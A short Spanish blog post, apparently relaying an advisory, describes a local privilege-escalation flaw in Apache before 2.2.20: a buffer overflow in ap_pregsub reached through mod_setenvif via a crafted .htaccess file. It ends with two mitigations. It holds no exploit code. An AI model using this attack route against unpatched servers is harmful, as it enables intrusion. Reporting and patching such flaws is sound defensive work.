Desde la web halfdog se ha notificado un fallo de seguridad importante que afecta a todas las versiones de apache inferior a la 2.2.20 y que permite a un usuario local una escalada de privilegios, consiguiendo los mismo que tenga el servidor apache (por defecto, en sistemas debian, www).
La vulnerabilidad está localizada en la función ap_pregsub, del fichero server/util.c, llamado desde el módulo mod_setenvif. Por un desbordamiento del buffer, un posible atacante puede manipular el fichero .htaccess, especialmente creado y conseguir la escalada de privilegios. Para conseguir explotar este fallo, es necesario que apache esté empleando el módulo mencionado y crear el .htaccess.
Las consecuencias de un ataque, podrían ser, desde enlentecer el servidor hasta ejecución de código con los privilegios del servidor apache.
Para ciertas empresas, como por ejemplo donde trabaja un colega mio, este fallo puede tener ampliar consecuencias.
Las soluciones propuestas:
  1. Dejar de usar el módulo afectado (mod_setenvif).
  2. Impedir el uso del fichero .htaccess en los directorios en los que el usuario tenga permisos de escritura, con la secuencia "AllowOverride None".
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios